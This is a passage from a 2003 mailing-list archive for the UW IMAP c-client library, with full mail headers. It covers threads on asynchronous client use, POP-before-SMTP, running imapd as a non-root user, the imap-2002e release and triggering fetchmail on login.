    In Email task i have a while loop to receive request and events.
     
    For example: 
    User request is  "select folder" (from queue). Client has to  send user view of mails to MMI.
     
    The sequence of commands need to execute by email client are (considering state of IMAP is authenticated)
     a.Select folder-name. (send and recv)
     b. Fetech 1:Max-Msgs (uid bodystructure envelope). (send and recv)
     c. close. (send and recv)
     
    For each send and recv, i will receive an event form queue. I should not expect the result of send and recv immediatly.
     
     My problem is How to handle events.
     
    How to use c-client routines in async+non-blocking mode?
     


    Mark Crispin <mrc@CAC.Washington.EDU> wrote:
    On Wed, 3 Sep 2003, Gangadhar Mylapuram wrote:
    > Requirment is use of asynchornous+ non bolocking sockets which handles
    > abort requsts form user.

    No. You don't want to abort that way. IMAP is a highly stateful protocol
    and it is an extreme waste to discard sessions arbitrarily. That state is
    expensive to build.

    The correct mechanism is to use means such as partial fetching to reduce
    potentially long tasks into shorter ones, and to implement an abort as a
    "stop after the current command finishes".

    -- Mark --

    http://staff.washington.edu/mrc
    Science does not emerge from voting, party politics, or public debate.
    Si vis pacem, para bellum.

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-337872682-1063027195=:51581-- From pinedev@shivax2.cac.washington.edu Mon Sep 8 13:18:50 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Sep 2003 13:18:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h88KIid4012944 for ; Mon, 8 Sep 2003 13:18:44 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h88KIgZ9009294 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 8 Sep 2003 13:18:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h88KIXVf082852; Mon, 8 Sep 2003 13:18:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h88KFp61031402; Mon, 8 Sep 2003 13:15:51 -0700 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h88KFnbU023793; Mon, 8 Sep 2003 13:15:49 -0700 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id PAA21776 sent by ; Mon, 8 Sep 2003 15:15:39 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu ([128.255.17.30]) by server11.icaen.uiowa.edu (8.12.6/smtp-service-1.6) with ESMTP id h88KFcnn004710; sent by ; Mon, 8 Sep 2003 15:15:38 -0500 (CDT) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id PAA16278; Mon, 8 Sep 2003 15:15:23 -0500 (CDT) Message-Id: Date: Mon, 8 Sep 2003 15:15:23 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Jennifer Cc: imap@u.washington.edu, Subject: Re: POPBEFORESMTP question In-Reply-To: <00cc01c3733b$a844ed20$c10a0a0a@jennifertoshiba> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 5 Sep 2003, Jennifer wrote: > Dear IMAP people > > I have a POPBEFORESMTP question here, and wish to get your precious help and > advice. > > We have a PC mail server, FreeBSD4.3, with IMAP200C installed as mail > demaeon. > > Recently we are trying to put POPBEFORESMTP features on our little mail > server, here is the article about POPBEFORESMTP for your reference > http://www.iecc.com/pop-before-smtp.html > This article recommend to add some patches to file: pop_pass.c to > demaeon--qpopper. This patch enable POPBEFORESMTP feature on mail server. [snip..] > Your reply will be highly appreciated. > Jennifer Zhao Jennifer, This question should be directed to the "c-client@u.washington.edu" mail list as it is specific to the UWash IMAP implementation. Using SMTPAUTH with your MTA is the best way to handle this issue, but if you cannot do that, some kind of pop/imap-before-smtp is a work-around. We have used the DRAC (http://mail.cc.umanitoba.ca/drac/index.html) pop/imap-before-smtp package. It has specific 'hooks' that work with the UWash pop & imap server. The simple minded log-a-login-event works OK for pop, but is not good for imap as an imap user may login once and stay connected for hours (days?) at a time. DRAC adds code to the imapd daemon that regularly updates the access database for each active user. -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Tue Sep 9 16:54:22 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Sep 2003 16:54:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h89NsHd4026258 for ; Tue, 9 Sep 2003 16:54:17 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h89NsFZ9009349 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 9 Sep 2003 16:54:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h89Ns5x7009732; Tue, 9 Sep 2003 16:54:06 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h89Np861064814 for ; Tue, 9 Sep 2003 16:51:08 -0700 Received: from kraken.magnetinternet.com (kraken.magnetinternet.com [206.190.137.27]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h89Np7ZO016180 for ; Tue, 9 Sep 2003 16:51:07 -0700 Received: from webmail.pdxlug.org (localhost.magnetinternet.com [127.0.0.1]) by kraken.magnetinternet.com (Magnet Internet E-Mail Service) with SMTP id 5801E926C4 for ; Tue, 9 Sep 2003 16:51:06 -0700 (PDT) Received: from 68.107.223.201 (SquirrelMail authenticated user m) by webmail.pdxlug.org with HTTP; Tue, 9 Sep 2003 16:51:06 -0700 (PDT) Message-Id: <45912.68.107.223.201.1063151466.squirrel@webmail.pdxlug.org> Date: Tue, 9 Sep 2003 16:51:06 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matt Alexander" To: c-client@u.washington.edu Subject: IMAP running on high port as regular user MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 X-Uwash-Spam: Gauge=XIII, Probability=13%, Report='LINES_OF_YELLING, LINES_OF_YELLING_2, PRIORITY_NO_NAME, SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __HAS_X_PRIORITY, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I built uw-imapd to run as me on port 1143. Then I had the admin add this line to /etc/inetd.conf: imap-matt stream tcp nowait m /home/m/local/sbin/imapd imapd And /etc/services: imap-matt 1143/tcp # local imap for Matt When I connect to localhost:1143, I get this: Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * PREAUTH [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] Pre-authenticated user m localhost IMAP4rev1 2003.338 at Tue, 9 Sep 2003 16:48:23 -0700 (PDT) When I issue commands like Login, I get "BAD Missing command". I'm using SquirrelMail as my IMAP client to try and connect, but it fails with: Bad request: Command unrecognized: LOGIN Read data: Any ideas on how to get this to work? Thanks, ~M -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 9 17:00:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Sep 2003 17:00:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8A00Yd4026481 for ; Tue, 9 Sep 2003 17:00:34 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8A00WZ9009646 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 9 Sep 2003 17:00:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8A00Tx7024080; Tue, 9 Sep 2003 17:00:29 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h89NwJ61068036 for ; Tue, 9 Sep 2003 16:58:19 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h89NwIXB022276 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Sep 2003 16:58:18 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h89NwCSA007540; Tue, 9 Sep 2003 16:58:12 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h89NwB4A022135 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 9 Sep 2003 16:58:11 -0700 Message-Id: Date: Tue, 9 Sep 2003 16:58:10 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matt Alexander Cc: c-client@u.washington.edu Subject: Re: IMAP running on high port as regular user In-Reply-To: <45912.68.107.223.201.1063151466.squirrel@webmail.pdxlug.org> References: <45912.68.107.223.201.1063151466.squirrel@webmail.pdxlug.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, LINES_OF_YELLING, LINES_OF_YELLING_2, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Sep 2003, Matt Alexander wrote: > * PREAUTH [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY > UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] > Pre-authenticated user m localhost IMAP4rev1 2003.338 at Tue, 9 Sep 2003 > 16:48:23 -0700 (PDT) This means that the IMAP server is logged in as "m". No login is needed or accepted. Running the IMAP server as non-root is intended to be done solely when the communications link deals with authentication in some other way (e.g. rsh or ssh external authentication). > When I issue commands like Login, I get "BAD Missing command". I'm using > SquirrelMail as my IMAP client to try and connect, but it fails with: > Bad request: Command unrecognized: LOGIN You can't log in when you are already logged in. > Any ideas on how to get this to work? Run imapd as root if you don't want it automatically logged in. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 10 09:31:34 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Sep 2003 09:31:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AGVYd4026514 for ; Wed, 10 Sep 2003 09:31:34 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AGVWYa018927 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 10 Sep 2003 09:31:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8AGUwVf014842; Wed, 10 Sep 2003 09:30:58 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AGTe61068094 for ; Wed, 10 Sep 2003 09:29:40 -0700 Received: from kraken.magnetinternet.com (kraken.magnetinternet.com [206.190.137.27]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AGTdXA031840 for ; Wed, 10 Sep 2003 09:29:39 -0700 Received: from webmail.pdxlug.org (localhost.magnetinternet.com [127.0.0.1]) by kraken.magnetinternet.com (Magnet Internet E-Mail Service) with SMTP id 8884B92974; Wed, 10 Sep 2003 09:29:38 -0700 (PDT) Received: from 68.107.223.201 (SquirrelMail authenticated user m) by webmail.pdxlug.org with HTTP; Wed, 10 Sep 2003 09:29:38 -0700 (PDT) Message-Id: <42275.68.107.223.201.1063211378.squirrel@webmail.pdxlug.org> Date: Wed, 10 Sep 2003 09:29:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matt Alexander" To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: Re: IMAP running on high port as regular user In-Reply-To: References: <45912.68.107.223.201.1063151466.squirrel@webmail.pdxlug.org> MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='IN_REP_TO, LINES_OF_YELLING, LINES_OF_YELLING_2, PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __HAS_X_PRIORITY, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin said: > On Tue, 9 Sep 2003, Matt Alexander wrote: >> * PREAUTH [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY >> UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] >> Pre-authenticated user m localhost IMAP4rev1 2003.338 at Tue, 9 Sep 2003 >> 16:48:23 -0700 (PDT) > > This means that the IMAP server is logged in as "m". No login is needed > or accepted. > > Running the IMAP server as non-root is intended to be done solely when the > communications link deals with authentication in some other way (e.g. rsh > or ssh external authentication). > >> When I issue commands like Login, I get "BAD Missing command". I'm >> using >> SquirrelMail as my IMAP client to try and connect, but it fails with: >> Bad request: Command unrecognized: LOGIN > > You can't log in when you are already logged in. > >> Any ideas on how to get this to work? > > Run imapd as root if you don't want it automatically logged in. Is it possible to run it as user "m" and also do the normal authentication? User "m" will be the only user authenticating anyway, but I don't want other users to be able to access the mail for "m" if it's pre-authenticated. Thanks, ~M From pinedev@shivax2.cac.washington.edu Wed Sep 10 11:17:17 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Sep 2003 11:17:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AIHHd4032221 for ; Wed, 10 Sep 2003 11:17:17 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AIHDZ9011661 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 10 Sep 2003 11:17:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8AIH8x7029630; Wed, 10 Sep 2003 11:17:09 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AIGK61009098 for ; Wed, 10 Sep 2003 11:16:20 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AIGIxJ015357 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 10 Sep 2003 11:16:18 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AIGAHE007021; Wed, 10 Sep 2003 11:16:11 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h8AIG1Xa031431 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Wed, 10 Sep 2003 11:16:09 -0700 Message-Id: Date: Wed, 10 Sep 2003 11:16:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matt Alexander Cc: c-client@u.washington.edu Subject: Re: IMAP running on high port as regular user In-Reply-To: <42275.68.107.223.201.1063211378.squirrel@webmail.pdxlug.org> References: <45912.68.107.223.201.1063151466.squirrel@webmail.pdxlug.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 10 Sep 2003, Matt Alexander wrote: > Is it possible to run it as user "m" and also do the normal > authentication? No. Authentication is a privileged operation on most systems (requires access to the shadow password file); and logging in is privileged on all systems. > User "m" will be the only user authenticating anyway, but > I don't want other users to be able to access the mail for "m" if it's > pre-authenticated. The best that you can do is hack the code to recognize some password that you wired in, and remove all the preauthentication support. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 10 15:55:16 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Sep 2003 15:55:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AMtGd4013742 for ; Wed, 10 Sep 2003 15:55:16 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AMtEYa002570 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 10 Sep 2003 15:55:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8AMt9w3013718; Wed, 10 Sep 2003 15:55:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AMqo61053800 for ; Wed, 10 Sep 2003 15:52:50 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AMqnXB024315 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 10 Sep 2003 15:52:49 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AMqmZ9023324 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 10 Sep 2003 15:52:48 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8AMqlOo022923; Wed, 10 Sep 2003 15:52:47 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h8AMqk4A013377 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 10 Sep 2003 15:52:46 -0700 Message-Id: Date: Wed, 10 Sep 2003 15:52:41 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Cc: IMAP Interest List Subject: UW IMAP toolkit version 2002e now available MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Version 2002e of the University of Washington IMAP toolkit, including the c-client library and UW imapd, is now publicly available on: ftp://ftp.cac.washington.edu/mail/imap-2002e.tar.Z This is the version distibuted with Pine 4.58; so if you have upgraded to Pine 4.58 and use its imapd you do not need to get this version separately. There are some minor bugfixes in this version, including: . better NNTP client performance with non-compliant servers (such as Netscape Collabra) . SMTP delivery notififications now work in all cases . fix an uncommon heap corruption/crash problem There are also a few additions of interest to system administrators and developers. See the file imap-2002e/docs/RELNOTES for more details. imap-2002e has most of the updates in the current imap-2003 development snapshot, with the exception being the as-yet untested NNTP TLS/SASL support. Consequently, imap-2002e, and not imap-2003, is the recommended version for production use. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 11 10:29:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Sep 2003 10:29:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8BHTZd4017705 for ; Thu, 11 Sep 2003 10:29:35 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8BHTVZ9025039 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 11 Sep 2003 10:29:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8BHTQfO012866; Thu, 11 Sep 2003 10:29:27 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8BHRq61027022 for ; Thu, 11 Sep 2003 10:27:52 -0700 Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8BHRoxI031258 for ; Thu, 11 Sep 2003 10:27:51 -0700 Received: (qmail 11279 invoked by uid 65534); 11 Sep 2003 17:27:46 -0000 Received: from port-212-202-42-18.reverse.qsc.de (EHLO gmx.de) (212.202.42.18) by mail.gmx.net (mp004) with SMTP; 11 Sep 2003 19:27:46 +0200 Message-Id: <3F60B07F.3080108@gmx.de> Date: Thu, 11 Sep 2003 19:27:27 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Wiehland To: c-client@u.washington.edu Subject: imapd: Triggering fetchmail on login? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='SIGNATURE_SHORT_DENSE, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __MOZILLA_MSGID, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I try to find out how I can fetch mail when a user successfully logs in. Basically, I would like to trigger fetchmail on login and trigger fetchmail -q on logout. Is there a way to do this? Thanks Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Sep 14 19:10:00 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Sep 2003 19:10:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F29xd4028281 for ; Sun, 14 Sep 2003 19:09:59 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F29tYa009915 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 14 Sep 2003 19:09:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with SMTP id h8F29jx7029428; Sun, 14 Sep 2003 19:09:45 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F27s61028640 for ; Sun, 14 Sep 2003 19:07:54 -0700 Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h8F27qtU025443 for ; Sun, 14 Sep 2003 19:07:52 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8F27qrC503612 for ; Sun, 14 Sep 2003 22:07:52 -0400 Received: from d03nm120.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8F27pQN035524 for ; Sun, 14 Sep 2003 20:07:51 -0600 Message-Id: Date: Sun, 14 Sep 2003 22:07:49 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas L Roche To: c-client@u.washington.edu Subject: [OT?] mailutil wants a cert MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" X-MIMETrack: Serialize by Router on 